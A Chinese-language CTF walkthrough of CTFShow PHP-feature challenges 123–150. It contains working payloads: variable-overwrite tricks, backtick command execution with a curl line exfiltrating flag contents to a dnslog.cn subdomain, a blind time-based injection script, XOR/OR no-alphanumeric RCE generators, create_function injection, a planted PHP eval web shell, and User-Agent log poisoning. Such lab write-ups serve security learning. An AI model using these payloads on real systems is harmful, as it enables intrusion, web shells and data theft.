123.
这里只需post传CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag就行。要主要的就是CTF[SHOW.COM,这里考php非法字符的转换。
谈一谈PHP中关于非法参数名传参问题_php非法传参-CSDN博客
第一种:利用get绕过php
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET['a'])
get:?a=flag.php
第二种方法
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。
'argv'传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。
通过_SERVER\['argv'\]将a变成数组,再利用数组的性质将fl0g=flag_give_me传入,同时还绕过第一个if中的!isset(_GET\['fl0g'\])),用+来进行分隔,使得数组中有多个数值。执行eval函数也就是执行c即是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。
所以payload
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])
GET : ?a=1+fl0g=flag_give_me
CTFShow web入门123-150 (php特性(二))_ctfshowweb123-CSDN博客
跟125第二种解法还能用
Payload:
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
这个也行。
payload:
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
利用assert()
函数在PHP中可以用来执行任意代码
PHP extract() 函数,先看篇文章了解一下extract。该函数就是使用数组键名作为变量名,使用数组键值作为变量值(这里extract($_GET)
输入直接转换为变量,导致变量覆盖)
[_SERVER\['QUERY_STRING'\] 学习记录-CSDN博客](https://blog.csdn.net/qq_49480008/article/details/115872899?fromshare=blogdetail&sharetype=blogdetail&sharerId=115872899&sharerefer=PC&sharesource=2301_80915592&sharefrom=from_link "_SERVER[‘QUERY_STRING‘] 学习记录-CSDN博客"),了解一$_SERVER['QUERY_STRING'],其实就是获取的是url?后面的值。
所以我们我们输入的ctf_show是get传参,然后被_SERVER\['QUERY_STRING'\]获取赋值给url,然后进行waf匹配,所以其实就是?后面的进行waf匹配,我们就利用前面php非法字符转换,将_变为空格(php会将其转化为_)所以最后传
?ctf show=ilove36d。
$SERVER['QUERY_STRING'];获取的查询语句是服务端还没url解码之前的字符串,所以对_进行一次url编码也能绕过。(其实waf过滤的任何一个符号url编码都行,我试了[ . 等等几个都行,因为url编码waf检测不到,转化后非法字符都化为了)
?ctf%5fshow=ilove36d。
PHP: call_user_func - Manual,先学习一下这个函数,第一个参数是被调用的函数,第二个是调用的函数的参数。其实看个例子就懂了
cpp
这里我们还需要用到
get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
GetText:一个字符串处理的函数或者说功能,进行字符替换(如果是未定义的字符,直接返回原字符)(别名就是_)
所以f1=_(本来是gettext,但是过滤了字母),f2=get_definded_vars
cpp
payload:
?f1=_&f2=get_defined_vars
函数进行的过程:
var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));//输出数组
关于php中gettext的用法? - toxic - 博客园
CTFShow web入门123-150 (php特性(二))_ctfshowweb123-CSDN博客
ctfshow php特性 web89-web115 web123-150wp_web143-CSDN博客
cpp
stripos() --- 查找后字符串在前字符串首次出现的位置(不区分大小写)
cpp
?f=/ctfshow/../../../../../../../var/www/html/flag.php
这题比较简单,我知道有三种解法。
1.f=ctfshow,这样pre第一下就匹配上了,返回0,stripos也返回0!==false
2.数组绕过,pre返回false,stripos返回NULL!==false
3.利用pre的最大回溯。
我有篇文章讲到了这个,且里面有题比这个难,大家可以看看。
限制是字符,那么显然数组绕过不行,这里只能用脚本。
cpp
import requests
url = 'http://ce0f9abf-0e42-442c-a8e8-1a2f57705191.challenge.ctf.show/'
data = {
'f': 'a' * 1000000 + '36Dctfshow'
}
# 发送POST请求,使用data参数传递数据
r = requests.post(url, data=data).text
# 打印服务器响应的内容
print(r)
目录扫描一下
访问/admin拿到源码。
这个有点语言基础就知道||是或,&&是与,所以我们都满足username,password,然后code=admin就行了
?code=admin&password=$flag&username=admin
这题不会了,直接看看出人wp。
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
这里找方法外带,这里使用http://www.dnslog.cn/
?F=`$F`; curl `cat flag.php|grep "flag"`.x29bj7.dnslog.cn
ctfshow web133和其他命令执行的骚操作-CSDN博客
@parse_str($_SERVER['QUERY_STRING']);
:这行代码解析了当前的查询字符串(即URL中的参数部分),并将其转换成变量
extract($_POST);
:这行代码从$_POST
数组中提取变量,并将其注册为全局变量。这意味着如果$_POST
数组中存在key1
和key2
,它们将被提取为全局变量.(这两个函数前面也有讲)
?_POST[key1]=36d&_POST[key2]=36d
查看源码得flag
?F=`$F `;cp flag.php 1.txt
这题cp把flag.php复制到1.txt,应该是忘记修改权限了,133不行。执行后访问即可。
这里直接命令不行,exec是无回显。所以想着用管道符将其输出到某个文本中,但是<过滤了,用tee。
cpp
?ls /|tee ls
然后访问ls,就会出现ls文件,记事本打开,下面一样。
?c=cat /f149_15_h3r3|tee ls
Linux tee命令教程:如何使用tee命令进行输入输出重定向(附案例详解和注意事项)_tee 重定向增加-CSDN博客
这是一个考察call_user_func类的应用。
cpp
ctfshow=ctfshow::getFlag
PHP: call_user_func - Manual,这是里面的例子,但是让我感
这里冒号不能用,直接用数组
cpp
ctfshow[0]=ctfshow&ctfshow=getFlag
这个尝试了136的做法,但是没用,所以猜测无法写入文件了。这题不会了,直接借鉴大佬的wp。
这里好像运用时间盲注。
ls /后就直接命令 /
python
import requests # 导入 requests 库,用于发送 HTTP 请求。
# 定义目标 URL,注意去除错误的 HTML 实体 '''。
url = 'http://8989567d-f261-4a8a-9cef-004ab4b81cc8.challenge.ctf.show'
# 初始化一个空字符串,用于存储猜测的结果。
res = ''
# 外层循环,用于遍历可能的文件名的第一个字符(假设是数字1-9)。
for i in range(1, 10):
# 中层循环,用于遍历可能的文件名的第二个字符的位置(假设是1-19位)。
for j in range(1, 20):
# 内层循环,用于遍历可能的文件名的第二个字符的 ASCII 值(假设是空格到'~')。
for k in range(32, 128):
# 将 ASCII 值转换为对应的字符。
k = chr(k)
# 构造一个字符串,用于在服务器端执行,检查特定位置的字符是否匹配。
payload = "?c=" + f"if [`ls / | awk NR=={i} | cut -c {j}`] == '{k}'; then sleep 2; fi"
try:
# 发送 GET 请求,附加构造的 payload,设置超时时间为 1.5 秒。
requests.get(url=url + payload, timeout=1.5)
except:
# 如果请求异常(可能是服务器响应超时),则将当前字符添加到结果字符串中。
res += k
print(res) # 打印当前猜测的结果。
# 跳出内层循环,继续猜测下一个字符。
break
# 在结果字符串中添加两个空格,用于分隔不同的字符。
res += ' '
运行太慢了,太慢了,后面获取flag不展示了。
这里php没有8.0。所以0==php字符是ture。因此我们只需要然$code=0。因为f1与f2是数字与字母,且f1与f2是个函数,所以输入字母函数即可。(无论输入什么函数,intval都使之为0)
f1=sha1&f2=intval
用preg_match
函数检查变量$v3
是否只包含非单词字符(即不是字母、数字或下划线)。
这个时候用脚本梭。看看大佬的文章。无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)-CSDN博客
那我就以异或脚本举例。
cpp
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
用了大佬的脚本后,出现一个txt文件。
复制一份到python去(与python脚本放同一目录下),然后运行python脚本
cpp
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
这里v3的payload前面有*,这里有个return干扰,所以我们要在v3的payload前边和后面加上一些字符就可以执行命令,例如\+ - * 等等
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");
这个太简单了吧,让v1=0,然后查看源代码就行。
这个不就是141的puls吗,这里异或没禁,修改一下刚刚的代码,得:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*
注意过滤了分号,我们就加一个*
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")*
这里是v2进行正则匹配。所以将web141的payload给v2就行。
?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");
这个过滤了$,^,我就可以用取反或者或脚本。我们就用或脚本试试
注意,过滤了,双引号,把双引号改成单引号。
?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%0c%13'|'%60%60')|
?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%03%01%14%00%06%0c%01%07%02%10%08%10'|'%60%60%60%20%60%60%60%60%2c%60%60%60')|
输入然后打开源码即可。
看了半天,多过滤了:,没啥用,继续上面的payload
先看hint:
cpp
在看hintphp里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数
名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函
数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
这里先学习一下create_function:
cpp
#举例
create_function('$funcname','echo $funcname."Mumuzi"')
#等同于下面的函数
function f($funcname) {
echo $funcname."Mumuzi";
}
/*
#如果第二个参数(代码)是这样的:
echo 1;}phpinfo();/*
#那么用函数来表示是这样的:
*/
function f($funcname){
echo 1;
}
phpinfo();/*}
#即执行完echo 1之后,又执行phpinfo(),然后用/*注释掉后面的语句
PHP create_function()代码注入,PHP7.2竟然还存在 - OSCHINA - 中文开源技术交流社区
ctfshow php特性 web89-web115 web123-150wp_web143-CSDN博客
CTFShow web入门123-150 (php特性(二))_ctfshowweb123-CSDN博客
ctfshow web147(create_function函数命令执行) - hithub - 博客园(这个博主十分详细)
最后payload
cpp
post:ctf=\create_function
get:?show=;} system('tac f*');/*
//cat试了被禁了
有是一个无参数rce,上脚本 ,就用异或脚本吧。改一下pre。
cpp
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0c%08"^"%60%7b");//system('ls');
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%0c%01%07%01%0b%08%0b"^"%60%60%7d%21%60%60%60%60%2f%7b%60%7b");
//system('cat flag.php');
不是index.php就会被删除,我们就把一句话木马写进index.php
这个file_put_contents在之前就介绍过,这里不多介绍
cpp
get:?ctf=index.php
post:show=<?php @eval($_POST[1]);?>
然后访问index.php,然后post:1=命令即可
注意访问根目录。
cpp
1=system('tac /*');//这样也行
看大佬的wp,脚本解决了
cpp
import requests
url = "http://9429035d-0378-46cd-89a1-9cdeff050596.challenge.ctf.show/" + "?isVIP=1"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0<?php @eval($_POST[1]);?>'
}
data = {
'ctf': '/var/log/nginx/access.log',
'1':'system("tac f*");'
}
r = requests.post(url=url, headers=headers, data=data).text
print(r)
运行两次
这个其实不要脚本也行,前面一道日志包含用bp一样的(web81)。
150-plus
这里日志包含不行了,看看大佬怎么写。
ctfshow php特性 web89-web115 web123-150wp_web143-CSDN博客
CTFShow web入门123-150 (php特性(二))_ctfshowweb123-CSDN博客
一个用脚本,看不懂。另一个利用phpinfo(看提示)
了解
++1.__autoload 函数,使用尚未被定义的类时自动调用++
php魔术方法__autuload_魔术中怎么上托load-CSDN博客
2.PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。
vulhub/php/inclusion/README.zh-cn.md at master · vulhub/vulhub · GitHub
?..CTFSHOW..=phpinfo//变量覆盖